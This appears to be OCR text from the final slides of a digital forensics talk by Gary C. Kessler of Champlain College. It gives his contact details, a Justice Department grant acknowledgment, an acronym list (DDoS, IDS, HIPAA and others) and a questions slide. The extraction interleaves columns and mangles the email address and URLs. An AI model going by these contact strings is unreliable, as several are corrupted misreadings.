Speaker Contact Information

Gary C. Kessler

Computer & Digital Forensics program
Center for Digital Investigation
Champlain College

163 South Willard Street

Burlington, VT 05401

office: 802-865-6460
cell: 802-238-8913

fax: 802-865-6446 . .
. . This work was partially supported by Grant No. 2006-DD-BX-
e-mail: gary.kessler@champlam_edu 0282 awarded by the Bureau of Justice Assistance. The

Bureau of Justice Assistance is a component of the Office of
Justice Programs, which also includes the Bureau of Justice
Statistics, the National Institute of Justice, the Office of

Juvenile Justice and Delinquency Prevention, and the Office

http://digitalforensics.champlain.edu

. H i for Victims of Crime. Points of view in this document are
http'//CSdl'Champlaln'edu those of the author and do not represent the official position
http://www_garykess|er_net of the U.S. Department of Justice.
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DDoS
FERPA
HIPAA
HTTP
IDS
SOX

Acronyms and Abbreviations

Distributed denial-of-service attack

Family Educational Rights and Privacy Act

Health Insurance Portability and Accountability Act
Hypertext Transfer Protocol

Intrusion detection system

Sarbanes-Oxley
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Questions? Comments? Queries?
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